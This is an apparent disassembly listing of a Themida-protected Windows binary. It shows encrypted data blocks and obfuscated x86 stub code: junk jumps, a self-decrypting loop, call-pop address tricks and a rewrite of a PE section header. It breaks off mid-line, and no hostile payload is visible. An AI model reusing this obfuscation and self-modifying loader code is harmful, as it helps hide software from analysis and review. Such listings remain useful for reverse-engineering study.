0CAD75236h dd 0DBE6EC4h, 0B4D053A6h, 0AEB13242h, 5A951169h, 21538BB5h dd 364D851h, 0F51B8C4Dh, 72863A06h, 0C1E4A8DBh, 0D3BE34F8h dd 0AEB13251h, 57B0B159h, 13493256h, 0D5B13232h, 0EFF7DAAAh dd 0FE4D3256h, 0BAB4DB5Dh, 516F3256h, 47EFA352h, 57B1325Eh dd 0B57E6E7Eh, 0AEF8C5E2h, 5BD1F36Dh, 14C1856Fh, 0BAB1F4BFh dd 5DBBDB56h, 690E3256h, 0CE155C8Ah, 4E3D910Fh, 3CB57955h dd 0EAB13259h, 0A9785DD6h, 1A85081Eh, 0D7202AA2h, 95F1EDC2h dd 90333D97h, 0CBB13256h, 54D7FDDDh, 8BE57BB4h, 75B0BF59h dd 0B9493256h, 5758221Dh, 0A7B13256h, 0FD8DDBE6h, 8F648293h dd 0DA700999h, 0EAB107D4h, 79595256h, 0C9B13256h, 3DE0DB89h dd 0AAD1C7D6h, 0D64EECF3h, 62708B9Eh, 6ED76C3Eh, 3D04F79h dd 75B1327Bh, 0BABDB159h, 0D3BE3256h, 0AEB13250h, 57B1BF59h dd 29583256h, 0DAB13256h, 0EAB122DCh, 75BADB56h, 26EC3256h dd 367656A3h, 0E7C1286Eh, 57D6DBE8h, 42D13256h, 0D5B13244h dd 2C37CAC2h, 48B70D8Ah, 0CA32FB9h, 0E943DBD8h, 23D0205Dh dd 0F8E3D7CCh, 784ECA50h, 0D5B0B259h, 1F483256h, 75B10ABFh dd 0B7585256h, 2EB13256h, 70291BA8h, 0FB3AAD22h, 9C151EF7h dd 579B330h, 703C5327h, 731E645Dh, 0DA62CDA3h, 5DB7B859h dd 67303256h, 19E16EB2h, 0ABB3B659h, 123A3256h, 3D16937h dd 75B13259h, 741DB032h, 0B2E63E09h, 6F35A8A1h, 310DB3DEh dd 0CA86C6EEh, 54D7520Fh, 8B7C328Eh, 75BADB0Eh, 2CFC3256h dd 0A2824C4Dh, 662B81CBh, 244F1FDh, 0ABA0B859h, 0D9583256h dd 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h, 0A958DEDDh dd 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h, 0B0C7D8D7h dd 0B65834F8h, 6B13256h, 437FD8B0h, 9F6C719Dh, 0CB57D612h dd 577BB330h, 0C553B329h, 14B13CB8h, 0DCD1CA36h, 9D6FE2D7h dd 143C53AEh, 511F4903h, 0ABB134BFh, 3E859156h, 61E7FCD3h dd 9CD13A13h, 0BAB13245h, 53826D0Dh, 0E94DE818h, 0A8C3B993h dd 7D7F37D4h, 541D1398h, 85276C8Dh, 0F7BE5377h, 0BAB13253h dd 0A161B936h, 0A1B6BB37h, 57B123D2h, 0A0343D56h, 3CB13256h dd 0EAB13250h, 0FD279A0Dh, 0FF3AEB8Ah, 5C343D5Ah, 57B13256h dd 58B575DFh, 0ABB124D8h, 0D5A0DB56h, 8A1D3256h, 3E85F103h dd 0EE9ED6ADh, 43AC71DDh, 2502986Ch, 5A582213h, 0E9B13256h dd 3ED7AA77h, 7EC837A9h, 6A024212h, 0B5BD75DFh, 5DB135D6h dd 0AF3F3D56h, 0AFB13256h, 0CBA577DDh, 8B3D8306h, 63D0C0DDh dd 0F8BE2211h, 0BAB1324Fh, 5DA2B659h, 0A0583256h, 0A0B13256h dd 7F1F5592h, 3959EBDCh, 0AEEAAF81h, 15D1531Fh, 980A8AAAh dd 3CD04C73h, 0A4333D9Fh, 0BEB13256h, 0ABB13253h, 29B35040h dd 0FA73CA79h, 0C2BE5256h, 0BAA3DBA9h, 0DBE63256h, 0E631EF1Dh dd 1BD67028h, 0F816E530h, 0BB0A3E55h, 2C485237h, 0DDA4E7D3h dd 0D24D7550h, 0F5A6414Ch, 0AEBCBC59h, 58D13256h, 0ABB132DAh dd 0A305456h, 15D05E90h, 0DDBEA7E3h, 0BAB7DB50h, 9AA03256h dd 496E6318h, 57B8B959h, 0CBD13256h, 0C158A37h, 67D039A0h dd 0DED843D3h, 30445250h, 8D4E539Dh, 0AEB9DA36h, 6F403256h dd 0E9BB4E66h, 0DA582FADh, 0F1B13256h, 0C1963BD4h, 87896678h dd 0DEAAB377h, 0CFEBCD93h, 6F035204h, 0ABA2B259h, 0D8593256h dd 0A7B13256h, 0C310647Eh, 39646BC5h, 32689909h, 243C5309h dd 511F4EBFh, 0CBE0CBAFh, 0D5B120BEh, 9362CC56h, 0D1682C0Ch dd 443F3714h, 4EA06748h, 0C8375BFAh, 89F95EEh, 0ABBFBB59h dd 0DD593256h, 79B13256h, 5DB114C2h, 0E02885E5h, 51383D37h dd 0A1B13256h, 57B134D6h, 0AB363D56h, 2AB13256h, 0A0A5286h dd 13FBB598h, 0E0D0E8DDh, 0B433BFAFh, 0A1B79C2Ah, 57B137DEh dd 46315256h, 62BE5395h, 0E1583E16h, 7DB13256h, 0ABB3FB9Bh dd 9870B9F4h, 763A6D13h, 906E8936h, 5F0515A2h, 0D0586037h dd 26B13256h, 71D03D3Dh, 0B1580359h, 54B13256h, 0B3642915h dd 80916A6h, 57EB03E0h, 3C7231AFh, 0EAB13251h, 0BCAB31B7h dd 33E47207h, 0F5AEE7D4h, 0AF353D50h, 0ABB13256h, 0C34953AFh dd 0F6051F8h, 57BBF8BFh, 6130123Bh, 0E8F852h, 5A000000h dd 0C822EA81h, 60F506AEh, 60F9BF0Fh, 5A6591BAh, 0C6816632h dd 6161AD50h, 828BF852h, 6A81FD5h, 0F95660F5h, 800F5Eh dd 61000000h, 0C64E6DB9h, 8D0F6041h, 3, 81D8B70Fh, 0ACBA3DCEh dd 0E1F7611Dh, 8860Fh, 66600000h, 8AF034BAh, 605A61CEh dd 0F5C38B66h, 30390561h, 8F0F0000h, 0Ch, 6890Fh, 8F0F0000h dd 0 ; --------------------------------------------------------------------------- and eax, 7FFFFFFFh jmp loc_5B62B7 ; --------------------------------------------------------------------------- dw 8C05h dd 33970127h, 8EC57046h db 0BEh, 0A7h, 0C0h ; --------------------------------------------------------------------------- loc_5B62B7: ; CODE XREF: Themida_:005B62A5j mov [edx+6A81FD5h], eax jl loc_5B62CF jno loc_5B62CF jz $+6 loc_5B62CF: ; CODE XREF: Themida_:005B62BDj ; Themida_:005B62C3j clc pop edx jmp loc_5B62DC ; --------------------------------------------------------------------------- dw 3E9h dd 2FDED5A2h ; --------------------------------------------------------------------------- loc_5B62DC: ; CODE XREF: Themida_:005B62D1j pop ecx jmp loc_5B62F4 ; --------------------------------------------------------------------------- dw 7E93h dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h ; --------------------------------------------------------------------------- loc_5B62F4: ; CODE XREF: Themida_:005B62DDj jl locret_5B6312 jmp locret_5B6312 ; --------------------------------------------------------------------------- db 60h dd 612EEBE7h, 5281C675h, 0B173519Ah, 78FDAC27h db 87h, 56h ; --------------------------------------------------------------------------- locret_5B6312: ; CODE XREF: Themida_:loc_5B62F4j ; Themida_:005B62FAj retn ; --------------------------------------------------------------------------- ja loc_5B632C jmp loc_5B632C ; --------------------------------------------------------------------------- dw 0EA6Bh dd 0FB840491h, 95FE47CFh, 2DEC9E19h ; --------------------------------------------------------------------------- loc_5B632C: ; CODE XREF: Themida_:005B6313j ; Themida_:005B6319j push ecx clc push edx jmp loc_5B6340 ; --------------------------------------------------------------------------- dd 9D8A60FBh, 961CE9D0h, 7136BC34h ; --------------------------------------------------------------------------- loc_5B6340: ; CODE XREF: Themida_:005B632Fj call $+5 pop edx sub edx, 6AEC938h jmp loc_5B6365 ; --------------------------------------------------------------------------- db 54h, 0FBh, 7Fh dd 8E65AFC4h, 7B2E251Eh, 886E188Bh, 2CC30D04h ; --------------------------------------------------------------------------- scasb loc_5B6365: ; CODE XREF: Themida_:005B634Cj clc pusha mov edi, esi jge loc_5B6372 movzx edi, ax loc_5B6372: ; CODE XREF: Themida_:005B6369j popa mov ecx, eax jge loc_5B6383 jnb loc_5B6383 pusha popa loc_5B6383: ; CODE XREF: Themida_:005B6375j ; Themida_:005B637Bj call near ptr dword_5B5C40+5DDh loc_5B6388: ; CODE XREF: Themida_:005B63B4j jo loc_5B6396 jns loc_5B6396 pusha popa loc_5B6396: ; CODE XREF: Themida_:loc_5B6388j ; Themida_:005B638Ej xor edx, edx cmc div ecx stc mov eax, edx jmp loc_5B63B6 ; --------------------------------------------------------------------------- db 8Eh dd 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h ; --------------------------------------------------------------------------- jmp short loc_5B6388 ; --------------------------------------------------------------------------- loc_5B63B6: ; CODE XREF: Themida_:005B639Ej pop edx pusha or dh, 46h popa pop ecx pusha jmp loc_5B63CA ; --------------------------------------------------------------------------- db 1 dd 0B9B47874h db 5Dh, 0E5h ; --------------------------------------------------------------------------- loc_5B63CA: ; CODE XREF: Themida_:005B63BEj popa retn ; --------------------------------------------------------------------------- pusha push ebx movsx edi, bx pop ebx add esi, 5BC5990Ah popa mov eax, eax cld mov eax, eax jmp loc_5B63EA ; --------------------------------------------------------------------------- db 0C1h dd 6262B61Eh db 96h, 22h ; --------------------------------------------------------------------------- loc_5B63EA: ; CODE XREF: Themida_:005B63DEj lea eax, [ebp+6AE9220h] stc call eax cmc mov ax, cx clc lea eax, [ebp+6AEC810h] jmp loc_5B640E ; --------------------------------------------------------------------------- db 8 dd 2AF7FF0Dh, 7AEFC43Fh db 0F8h, 0BCh ; --------------------------------------------------------------------------- loc_5B640E: ; CODE XREF: Themida_:005B63FEj mov [ebp+6A800B5h], eax jmp loc_5B6428 ; --------------------------------------------------------------------------- db 0B9h, 3Bh, 0D4h dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h ; --------------------------------------------------------------------------- loc_5B6428: ; CODE XREF: Themida_:005B6414j lea eax, [ebp+6AEC91Fh] cld mov [ebp+6A808DDh], eax pusha jl loc_5B643D stc loc_5B643D: ; CODE XREF: Themida_:005B6436j pusha mov ah, 89h sub eax, 38431566h popa popa mov eax, 0 jmp loc_5B6464 ; --------------------------------------------------------------------------- xor bh, dl sbb al, 0D9h mov edx, 28853519h pop esi test cl, 0C5h sbb eax, 793F7520h loc_5B6464: ; CODE XREF: Themida_:005B644Dj or eax, eax jz loc_5B65D3 jmp loc_5B6479 ; --------------------------------------------------------------------------- db 0D2h, 0C2h, 41h dd 182DEF8Dh db 30h ; --------------------------------------------------------------------------- loc_5B6479: ; CODE XREF: Themida_:005B646Cj mov byte ptr [ebp+6A815D5h], 56h stc push 0A9C530DFh jle loc_5B6494 jge loc_5B6494 pusha popa loc_5B6494: ; CODE XREF: Themida_:005B6486j ; Themida_:005B648Cj jmp loc_5B64AC ; --------------------------------------------------------------------------- db 2, 40h, 5Ch dd 1BE3A7E7h, 39DBA1B5h, 6F75D079h, 8D4D4734h ; --------------------------------------------------------------------------- loc_5B64AC: ; CODE XREF: Themida_:loc_5B6494j push dword ptr [ebp+6A80F95h] jmp loc_5B64C9 ; --------------------------------------------------------------------------- db 9Bh dd 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh ; --------------------------------------------------------------------------- popf loc_5B64C9: ; CODE XREF: Themida_:005B64B2j lea eax, [ebp+6AB6971h] pusha mov ebx, edi mov dh, 91h popa call eax jmp loc_5B64E3 ; --------------------------------------------------------------------------- mov edx, 5FF4B5A4h xchg eax, edx aas loc_5B64E3: ; CODE XREF: Themida_:005B64D7j push eax jp loc_5B64EB stc loc_5B64EB: ; CODE XREF: Themida_:005B64E4j lea ecx, [ebp+6A82CD9h] jp loc_5B650B pusha jmp loc_5B6504 ; --------------------------------------------------------------------------- db 30h, 0A6h, 9Ah dd 7AE0224Dh ; --------------------------------------------------------------------------- loc_5B6504: ; CODE XREF: Themida_:005B64F8j or edx, 42502C53h popa loc_5B650B: ; CODE XREF: Themida_:005B64F1j push ecx jmp loc_5B651A ; --------------------------------------------------------------------------- db 0D3h, 0BFh, 0C5h dd 0D10A6573h db 0CDh, 18h ; --------------------------------------------------------------------------- loc_5B651A: ; CODE XREF: Themida_:005B650Cj push 4 jmp loc_5B6530 ; --------------------------------------------------------------------------- shr byte ptr [ebp+ecx*4+6Ch], 1 cmp [ebp+61h], ah add bh, [ecx+0A59FE23h] popf push eax loc_5B6530: ; CODE XREF: Themida_:005B651Cj cmc push 1000h stc push dword ptr [ebp+6A831D5h] cmc call eax jge loc_5B6570 pusha jmp loc_5B6558 ; --------------------------------------------------------------------------- dd 0D452E3D0h, 7F4B18DEh, 0B0B1F294h ; --------------------------------------------------------------------------- loc_5B6558: ; CODE XREF: Themida_:005B6547j jmp loc_5B656F ; --------------------------------------------------------------------------- db 0A0h, 47h, 0E9h dd 793252A9h, 8355A05Bh, 0F40E79DFh db 1Eh, 0F3h, 0CAh ; --------------------------------------------------------------------------- loc_5B656F: ; CODE XREF: Themida_:loc_5B6558j popa loc_5B6570: ; CODE XREF: Themida_:005B6540j mov edi, [ebp+6A831D5h] cld add edi, [edi+3Ch] jmp loc_5B6592 ; --------------------------------------------------------------------------- db 68h dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 3750B4C1h ; --------------------------------------------------------------------------- fxch7 st(5) loc_5B6592: ; CODE XREF: Themida_:005B657Aj add edi, 0F8h cmc mov dword ptr [edi+24h], 60000020h jmp loc_5B65B7 ; --------------------------------------------------------------------------- db 0C4h, 0E5h, 26h dd 71C66537h, 0E9DCB85Bh, 0BD8393A0h ; --------------------------------------------------------------------------- pushf push ebp cmpsd loc_5B65B7: ; CODE XREF: Themida_:005B65A0j jl loc_5B65D3 jle loc_5B65D3 jmp loc_5B65D3 ; --------------------------------------------------------------------------- dd 0E5482D9Fh, 4F88EF62h db 0BCh, 3, 47h ; --------------------------------------------------------------------------- loc_5B65D3: ; CODE XREF: Themida_:005B6466j ; Themida_:loc_5B65B7j ... lea ebx, [ebp+6A82065h] jmp loc_5B65EB ; --------------------------------------------------------------------------- cmc test al, 0A0h pop eax add al, 0DDh xchg eax, ebx scasb test al, 73h pop esi scasd pop ds loc_5B65EB: ; CODE XREF: Themida_:005B65D9j mov eax, [ebx] jp loc_5B65F4 clc loc_5B65F4: ; CODE XREF: Themida_:005B65EDj or eax, eax jz loc_5B661A pusha mov al, 0F9h jmp loc_5B660C ; --------------------------------------------------------------------------- dd 1A3B97D9h, 32E06A11h ; --------------------------------------------------------------------------- loc_5B660C: ; CODE XREF: Themida_:005B65FFj popa mov eax, [eax] cmc mov [ebx+4], eax pusha mov bh, dh movsx edi, bx popa loc_5B661A: ; CODE XREF: Themida_:005B65F6j mov ecx, 234CF6h call sub_5B6632 stosd arpl [ecx], cx push es push edi cmp [ebp-2E5AE6F6h], edi push ss inc ecx cdq ; =============== S U B R O U T I N E ======================================= sub_5B6632 proc near ; CODE XREF: Themida_:005B661Fp pop esi jp loc_5B663D mov bx, 0ED81h loc_5B663D: ; CODE XREF: sub_5B6632+1j add esi, 5EF8h mov di, bx xor ecx, ecx mov bl, ch loc_5B664A: ; CODE XREF: sub_5B6632+71j push dword ptr [ecx+esi] mov edx, 10079E7h pop eax jo $+6 xor eax, 22531AFDh pusha mov bx, 4084h popa add eax, 350AB6A6h adc bx, 4C7h sub eax, 312F660Dh mov dx, cx mov [esi+ecx], eax mov edx, eax push ebx adc ebx, 3F16C0D7h pop ebx sub ecx, 33354F2Bh or ebx, 79205CFCh add ecx, 33354F27h mov ebx, 5CB5D9BFh cmp ecx, 0FFFFA18Ch jnz loc_5B664A add dl, 62h lea ecx, [ebp+6AECD36h] mov edx, [ebp+6A81F89h] mov [ebp+6A805B9h], ecx mov bl, 0E4h mov dword ptr [ebp+6A81469h], 6498h mov edx, [ebp+6A82A9Dh] mov dword ptr [ebp+6A80BBDh], 0 push 0 push ebp call sub_5B66E5 and [ebp-3Dh], bl sub_5B6632 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B66E5 proc near ; CODE XREF: sub_5B6632+ABp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B66E5 endp ; --------------------------------------------------------------------------- adc bh, [eax-1] mov ch, 61h adc eax, 6A06A8h push eax call sub_5B6708 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6708 proc near ; CODE XREF: Themida_:005B6700p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B6708 endp ; --------------------------------------------------------------------------- dd 0AE4AB809h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 0B5295A78h dd 6A82889h, 20DD95FFh, 950306A8h, 6A82A89h, 95FF006Ah dd 6A81B31h, 0BEBC08Bh, 45A64512h, 0BF6198F2h, 8DC2E6C3h dd 0AECE0C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0BAA35F4Bh, 0DA81662Bh dd 8D8967D2h, 6A805B9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 2AC35040h, 77C816B6h, 8D9D8Bh, 85C706A8h dd 6A81469h, 7364h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0AFC35040h, 8A3AB6E6h, 0BD85C7FCh, 6A80Bh dd 0F000000h, 0B5FFF1B7h, 6A82A11h, 0AE22BB66h, 20DD95FFh dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 264FF2C3h, 6A7B99h, 1B3195FFh, 0C08B06A8h dd 1FFB0DEBh, 0EC0373BBh, 9DA96A20h, 0E805DB4Dh, 7, 0DF317A8h dd 0B30594C8h, 30B95E0Eh, 8138AB0Dh, 6C7DC6h, 25BD8900h dd 6806A816h, 0 ; --------------------------------------------------------------------------- mov [ebp+6A826B1h], esi pop eax add [ebp+6A82A91h], eax loc_5B685D: ; CODE XREF: Themida_:005B68BCj mov edi, [esi+eax] jmp loc_5B686D ; --------------------------------------------------------------------------- db 0F9h, 7Bh, 0BCh dd 6C09598Fh db 34h ; --------------------------------------------------------------------------- loc_5B686D: ; CODE XREF: Themida_:005B6860j add edi, 2E87E64Bh cmc add edi, 0FBB1923h or edx, [ebp+6A83435h] xor edi, 6B159250h mov ecx, [ebp+6A815EDh] push edi mov ecx, [ebp+6A82E89h] pop dword ptr [esi+eax] mov dl, 74h jb loc_5B68A1 mov dx, cx loc_5B68A1: ; CODE XREF: Themida_:005B6898j sub eax, 3B8BC088h mov [ebp+6A802A9h], esi add eax, 3B8BC084h movzx ecx, ax cmp eax, 0FFFF9414h jnz loc_5B685D mov cx, ax lea ecx, [ebp+6AECF3Eh] jmp loc_5B68E2 ; --------------------------------------------------------------------------- dd 3CE71B25h, 9E8AE308h, 54C1C5Fh, 0B6B010A8h ; --------------------------------------------------------------------------- sbb al, 0F5h loc_5B68E2: ; CODE XREF: Themida_:005B68CBj mov [ebp+6A805B9h], ecx mov [ebp+6A801A9h], ebx mov esi, 5C342095h mov dword ptr [ebp+6A81469h], 5958h mov ax, di mov dword ptr [ebp+6A80BBDh], 0 push 0 push ebx call sub_5B6915 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6915 proc near ; CODE XREF: Themida_:005B690Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B6915 endp ; --------------------------------------------------------------------------- or ecx, edi xlat inc esi lodsb xchg eax, edx mov si, 19E8h push dword ptr [ebp+6A814A1h] mov edx, edi call dword ptr [ebp+6A820DDh] jns loc_5B6944 cmc loc_5B6944: ; CODE XREF: Themida_:005B693Dj push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5B6979 ; --------------------------------------------------------------------------- dd 8D437B26h, 2146C2C9h, 50F5F0B4h, 68C2638Eh, 0B1C439DCh dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 3E19201h, 4051C91Ah ; --------------------------------------------------------------------------- push ebp loc_5B6979: ; CODE XREF: Themida_:005B694Ej jmp loc_5B69A0 ; --------------------------------------------------------------------------- dw 6F68h dd 2B48h, 7 dup(0) ; --------------------------------------------------------------------------- loc_5B69A0: ; CODE XREF: Themida_:loc_5B6979j jmp loc_5B6E73 ; --------------------------------------------------------------------------- push 6AED07Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AED0EAh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AED22Fh jmp loc_5517CE ; --------------------------------------------------------------------------- db 49h dd 8023672Eh, 0AF1096D3h, 0D97AC089h, 9AAF0B5h, 1AE12568h dd 0D79ABB57h, 34EF053h, 31781C87h, 622B4AF5h, 609A4024h dd 0B606A628h, 24B6DC1Ah, 7429C329h, 8E950358h, 0F99B5EFFh dd 8523C7B0h, 57D74743h, 86123DAFh, 90D97C25h, 0B803B10Ah dd 0E155F802h, 42FB5FFh, 0E1575F9Fh, 9873B5FFh, 0DC2F1B17h dd 0CE1477h, 51000003h, 43F12201h, 51B8C2F8h, 33B5FFEDh dd 9766A018h, 14B36553h, 36F393A0h, 0C2DB5815h, 7A5344E9h dd 84F33A4Ch, 66D1BA0Dh, 67DC7039h, 0BFC03943h, 54A6C0B5h dd 1706F858h, 0CC72A629h, 0F3194763h, 0B5C45149h, 901833C0h dd 0E1256C0Fh, 0B2561F3Eh, 0E875A4F6h, 4AA8199Ah, 81000003h dd 0B81BAFE6h, 0E748DE9Bh, 11B20841h, 41E2387Dh, 52D96D20h dd 1F52F31Fh, 4B06288Bh, 793054FFh, 0AAE3822Dh, 2852881Ch dd 0B606A6F0h, 0E7AF94D2h, 0AED80EB5h, 0B606A6DBh, 4B02228Dh dd 0DD63B5E6h, 8F1459FAh, 9E01A59Eh, 0CFCB7DFDh, 0B5B606A6h dd 0BA65A19Ah, 8F4FD499h, 0B606A786h, 91377E1Dh, 0F324C1D1h dd 0DE1FE0C3h, 15000002h, 44EF3B72h, 73DC6A2Fh, 0A50E9CD5h dd 0D57ECC89h, 26ADF9B4h, 93DE7F93h, 0C78AAC17h, 0F5BCE043h dd 266F0EB1h, 0A4E604E0h, 0B606A764h, 0E733185Eh, 4DBAEFB5h dd 722DE3B8h, 0DCC76D99h, 7BACF1B8h, 8F602B3Dh, 922B607h dd 8F62A2A4h, 2341B607h, 395CC56Ah, 0DC723370h, 149D3699h dd 0EFB01B85h, 706AF7E3h, 76903E14h, 0B6079732h, 0A6C62710h dd 0CF6942EFh, 1BE0Dh, 5CFF1600h, 6F0EF115h, 0A28F926h dd 16B0564Fh, 0AF57D712h, 72D147F0h, 4FDB92B1h, 0C7E358FCh dd 9FB85F99h, 0D9FF3AA6h, 0D66895Fh, 7B5CB600h, 110A97DAh dd 3373FB38h, 70B6000Dh, 216409C8h, 6DB2ABFCh, 5BD891B4h dd 13A203F8h, 7D7D268Dh, 1477E481h, 2064h, 0B5E7BF00h dd 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h, 211D1D86h dd 0C41477F8h, 0AAh, 155CFF5Fh, 3B761788h, 470E2DF6h, 632A49DAh dd 0DBBF2527h, 57A1AF57h, 5F544526h, 0F5BAFE25h, 308B1F56h dd 7983279Ch, 0B6036756h, 0B9E7032Ch, 66B1E913h, 0B893B603h dd 0C16E2B47h, 0BEDF40E8h, 0BD96DB7Bh, 0E8A5C669h, 28026C30h dd 368F2CF3h, 199h, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh dd 19C35BEFh, 6A8ABEFh, 0F45399B6h, 0ACDE5EFFh, 0AF57D76Ch dd 92963056h, 70AF57D7h, 0B1F5EEC7h, 8AAE6F0Eh, 0A6C55EC3h dd 891DF6EFh, 95DC8063h, 5CFF1803h, 68B5F09Dh, 0DD9463Fh dd 0A28CB4CBh, 0A008D169h, 0AED85CFFh, 0AF581C6Ah, 90883258h dd 72AF581Ch, 716E0D9h, 16957721h, 11FF4B24h, 80A9D2C7h dd 0BD5EDB20h, 63825C3Fh, 0F391F214h, 0F42475BAh, 8C3A8133h dd 28E97Ah, 4A70DBB6h, 6185C869h, 2989813Bh, 0D07BB600h dd 0AB14F258h, 4059C68Bh, 29161EE8h, 0EE8DB600h, 0F2A003A7h dd 4AFC6AB7h, 0B600294Eh, 0F6221B34h, 2E82A30Ch, 5FA436B6h dd 0FE4FE11h, 9374FB7h, 9A40EDC6h, 0E3CECA7Ch, 9BB4B5FFh dd 0A7B21Dh, 0E7950000h, 0AED80EB5h, 0B606A6D7h, 841D82ADh dd 0F872A8E1h, 886B87EBh, 3B8117E0h, 77BCF598h, 0ECC852F7h dd 7B3251E3h, 84C16D36h, 5EC7B41Fh, 46EF5CDFh, 0C2B41C3Fh dd 70BAB0A9h, 0D537A5B8h, 221BA07Ch, 0AC17FD49h, 0C956C287h dd 0D40F02AAh, 18E1D963h, 88A3E3ECh, 559EC67Eh, 0C06E377Ch dd 4D266F0Dh, 5B123699h, 8D0DC5D6h, 0DE4ECD1Ah, 47D84BEDh dd 61C26F2Ah, 252489CCh, 69A82788h, 0B9DCE34Ch, 0A59EDB78h dd 0B4F19E01h, 16359E64h, 0F306892h, 3912E3ECh, 9C07E340h dd 3F68B5FCh, 316F9h, 0B0310000h, 1158FFCBh, 3970138Ch dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h dd 0CD84A47Dh, 0D792BF60h, 1E68FA4Ah, 89000017h, 8956241Ch dd 4C681E6h, 83000000h, 348704EEh, 0C895C24h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 2CBD5553h dd 890EE474h, 8AB95DEBh, 1F7CA5Bh, 8B545BD9h, 0C4832434h dd 4EC8104h, 89000000h, 468F240Ch, 2434FF08h, 4C4815Eh dd 0FF000000h, 81592434h, 4C4h, 0A968E900h, 1C46FFF9h dd 88801D65h, 0E0C55A16h db 87h, 8Eh, 68h ; --------------------------------------------------------------------------- loc_5B6E73: ; CODE XREF: Themida_:loc_5B69A0j mov eax, 6AED3EDh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 38587552h, 4D608A65h, 59E7B33h, 32455EACh, 78B43489h dd 0A83F0Bh, 11C7EB91h, 4D3C773Bh, 7D58464Ch, 956871Ah dd 11BC5B1Ch, 5341F4F9h, 7CBBCA4Eh, 3A973053h, 2C632A78h dd 321A2C8Dh, 1BC060A0h, 34964E57h, 5048FD23h, 756CBE7Ch dd 5AFFA28Fh, 1DFD9F19h, 45E454B0h, 0CE9h, 94705400h, 4Fh dd 0 dd 0B5BE900h, 91680000h, 0E906AED6h, 0FFFA7160h, 0AED76A68h dd 7156E906h, 3368FFFAh, 0E906AED9h, 0FFFA714Ch, 0AEDA0F68h dd 7142E906h, 0A668FFFAh, 0E906AEDBh, 0FFFA7138h, 0AEDD6F68h dd 712EE906h, 8868FFFAh, 0E906AEDEh, 0FFFA7124h, 527389F5h dd 0DFFC0A7Ch, 6300FCEBh, 0ED8E726Fh, 7A1BE199h, 87E39BD3h dd 7C6A587Dh, 0F8EDE182h, 601B6F0Ch, 8ACDF794h, 0F2BCC68h dd 11008958h, 8E7A139Fh, 0F8BB473Ch, 31E5114Ah, 3A5457AEh dd 8DC869EFh, 0CA4D2CD8h, 0DAFB0F78h, 0C82A36D3h, 5EA14CACh dd 9FC4B6E9h, 8F6EB363h, 0A6067C72h, 0A14C2844h, 5B3A655Eh dd 5AA766CBh, 0F941C138h, 0A373B25Bh, 0F96DD101h, 0E8A76BA7h dd 1FA5E006h, 8CBFC656h, 0A9FE3724h, 3A9D6A2Dh, 0A2000000h dd 81BEFCE5h, 0F9E25861h, 683A655Bh, 0F62C1AB6h, 0FC0278A7h dd 1CE2982Eh, 48B458Eh, 0DEF1812Dh, 0BF552A9h, 98DA6F22h dd 2F577119h, 0EC47561Eh, 6000000h, 6629DD88h, 4DB9D277h dd 0E51F4BD9h, 7C88E331h, 6993CFC3h, 0F5E634A6h, 95F2C001h dd 0B574B569h, 0B254AFD0h, 0DD80560h, 14F628EBh, 0CE5EA126h dd 3B44699Dh, 1B0290C0h, 6D2C69DFh, 2D3EAED9h, 52659ABFh dd 0BC47D7B6h, 0A9F31B7Bh, 67BE5EA1h, 9110E497h, 92AFED0Ah dd 0BD275D51h, 0E6A90D22h, 0E7A6099Ch, 0F91B223Bh, 4AACED5Bh dd 0A7F92022h, 0EE75346Fh, 6A9716B7h, 0B4D61728h, 0A7F92018h dd 0B64BCA55h, 0A0819054h, 68E61DA2h, 251EDFAFh, 0F9F50AEDh dd 645A7B81h, 5124867Ch, 853F8C47h, 8DFBE17h, 23430000h dd 94C6B4D9h, 164D4162h, 8CF5C9EAh, 37F5370h, 3D31D4F9h dd 0BEDF255Dh, 4F6C92C8h, 0D5F6027Bh, 6102F6E1h, 52FA1C23h dd 1F580F28h, 0B6D2BF92h, 423FB34Ch, 235EECBEh, 0BEA4FDFh dd 0E497EB88h, 0E5BC7310h, 6181BEFCh, 5BF9E258h, 59BE2965h dd 0E64BDB21h, 0B3129707h, 2C91C1E3h, 672BA7F6h, 0E0A0C628h dd 7F86561Eh, 1B6E30E5h, 0BC4DCC47h, 0CBh, 4DB9D285h, 55349B4h dd 0BE7991E0h, 0A1D96FFFh, 565A65Bh, 5EA145E9h, 28BA7DA4h dd 0A14214F6h, 699DCE5Eh, 0F1057644h, 0BBD83550h, 33BB0C6Fh dd 7E9BE270h, 0FAE3033Ch, 0B75BF93Ch, 0A34C4F6Ch, 8B6A94F2h dd 0CE671476h, 0C64CA2A0h, 41FE6195h, 0CEEF154Dh, 987A80F8h dd 3F8C38D3h, 6EC61F3h, 0B8000008h, 299D3EC4h, 562449BFh dd 0C2B0D529h, 